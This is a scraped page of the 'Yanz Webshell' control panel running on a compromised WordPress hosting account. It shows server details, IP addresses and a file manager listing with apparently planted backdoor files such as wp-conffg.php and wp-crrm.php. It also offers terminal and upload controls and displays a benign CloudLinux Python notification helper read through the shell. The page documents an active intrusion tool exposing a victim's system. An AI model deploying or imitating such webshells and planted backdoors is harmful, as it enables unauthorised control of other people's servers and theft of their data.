Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 21:11:01
3907.15 GB Free: 1080.23 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 09:27:21drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log18.32 MB2026-05-05 21:11:00-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/lib/notifications_helper.py
#!/usr/bin/python
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
import json
import logging
import os
import time
from typing import Dict, Iterable, Union  # NOQA

__author__ = "Aleksandr Shyshatsky"


class NotificationsHelper(object):
    """
    Helper for our StatsNotifier plugin, contains
    logic related to notification periods
    """

    STATSNOTIFIER_LAST_TS = "/var/lve/statsnotifier_last.ts"
    RESELLERS_NOTIFICATIONS_STORAGE = "/var/lve/statsnotifier_timestamps.bin"

    def __init__(self):
        self._users_notification_info = {}  # type: Dict[int, float]
        self._resellers_notification_info = {}  # type: Dict[int, float]
        self._admin_notify_time = -1
        self._log = logging.getLogger(__name__)

        # let's load info after service restart
        self._load_from_persistent_storage()

    def _load_from_persistent_storage(self):
        # type: () -> None
        """
        Load information about periods from persistent storage.
        Admin timestamp contains in separate file,
        in order to make it backwards-compatible with old logic
        """
        self._admin_notify_time = self._read_ts_from_file()

        if not os.path.exists(self.RESELLERS_NOTIFICATIONS_STORAGE):
            return
        try:
            with open(self.RESELLERS_NOTIFICATIONS_STORAGE, 'r', encoding='utf-8') as f:
                data = json.load(f)
        except UnicodeDecodeError:
            # Binary content means this is a legacy pickle file — migrate it.
            self._migrate_from_pickle()
            return
        except json.JSONDecodeError:
            self._log.exception(
                "Corrupted JSON in %s — discarding",
                self.RESELLERS_NOTIFICATIONS_STORAGE,
            )
            return
        except (IOError, OSError):
            self._log.exception("Cannot load data from persistent storage")
            return
        try:
            users = {int(k): v for k, v in data['users'].items()}
            resellers = {int(k): v for k, v in data['resellers'].items()}
        except (KeyError, TypeError, ValueError):
            self._log.exception("Cannot load data from persistent storage")
            return
        self._users_notification_info = users
        self._resellers_notification_info = resellers

    def _migrate_from_pickle(self):
        # type: () -> None
        """One-time migration of legacy pickle storage to JSON."""
        import pickle  # nosec B403  pylint: disable=import-outside-toplevel
        try:
            with open(self.RESELLERS_NOTIFICATIONS_STORAGE, 'rb') as f:
                self._users_notification_info, self._resellers_notification_info = pickle.load(f)  # nosec B301
            self.save_to_persistent_storage()
            self._log.info(
                "Migrated notification timestamps from pickle to JSON format"
            )
        except Exception:
            self._log.exception("Cannot load data from persistent storage")

    def save_to_persistent_storage(self):
        # type: () -> None
        """
        Save information about periods on disk.
        Admin timestamp contains in separate file, plain text.
        Resellers info is serialized as JSON and saved into other file.
        """
        self._save_ts_to_file(self._admin_notify_time)

        try:
            fd = os.open(self.RESELLERS_NOTIFICATIONS_STORAGE,
                         os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
            with os.fdopen(fd, 'w', encoding='utf-8') as f:
                json.dump({'users': self._users_notification_info,
                           'resellers': self._resellers_notification_info}, f)
        except (IOError, OSError, TypeError):
            self._log.warning("Unable to save resellers timestamps to file")

    def _save_ts_to_file(self, ts):
        # type: (float) -> None
        try:
            with open(self.STATSNOTIFIER_LAST_TS, 'w', encoding='utf-8') as f:
                f.write(str(ts))
        except IOError:
            self._log.warning("Unable to save admin timestamp to file")

    def _read_ts_from_file(self):
        # type: () -> float
        try:
            with open(self.STATSNOTIFIER_LAST_TS, 'r', encoding='utf-8') as f:
                ts = float(f.readline().rstrip())
                return ts
        except IOError:
            return -1
        except ValueError as e:
            self._log.warning("Unable to read %s (%s)", self.STATSNOTIFIER_LAST_TS, str(e))
            return -1

    @staticmethod
    def _get_current_timestamp():
        # type: () -> float
        """
        Get current timestamp. In future, we may do
        some things here, like "round(time / 60**2)"
        """
        return time.time()

    def mark_resellers_notified(self, resellers_id):
        # type: (Iterable[int]) -> None
        """
        Mark resellers as notified. S
        aves current timestamp in memory.
        """
        ts = self._get_current_timestamp()
        for reseller_id in resellers_id:
            self._log.debug("Reseller marked as notified at %s for %s", ts, reseller_id)
            self._resellers_notification_info[reseller_id] = ts

    def mark_users_notified(self, resellers_id):
        # type: (Iterable[int]) -> None
        """
        Mark users as notified.
        Saves current timestamp in memory.
        """
        ts = self._get_current_timestamp()
        for reseller_id in resellers_id:
            self._log.debug("Users marked as notified at %s for %s", ts, reseller_id)
            self._users_notification_info[reseller_id] = ts

    def mark_admin_notified(self):
        # type: () -> None
        """
        Mark admin as notified.
        Saves current timestamp in memory.
        """
        self._log.debug("Admin marked as notified at %s", time.time())
        self._admin_notify_time = self._get_current_timestamp()

    def users_need_notification(self, reseller_id, notify_period):
        # type: (int, Union[int, float]) -> bool
        """
        Check if reseller's users need to be notified
        (period is more than time elapsed)
        """
        time_since_last_check = self._get_current_timestamp() - self._users_notification_info.get(reseller_id, -1)
        return time_since_last_check > notify_period

    def reseller_need_notification(self, reseller_id, notify_period):
        # type: (int, Union[int, float]) -> bool
        """
        Check if reseller himself needs to be notified
        (period is more than time elapsed)
        """
        time_since_last_check = self._get_current_timestamp() - self._resellers_notification_info.get(reseller_id, -1)
        return time_since_last_check > notify_period

    def admin_need_notification(self, notify_period):
        # type: (Union[int, float]) -> bool
        """
        Check if admin needs to be notified
        (period is more than time elapsed)
        """
        return self._admin_notify_time + notify_period < self._get_current_timestamp()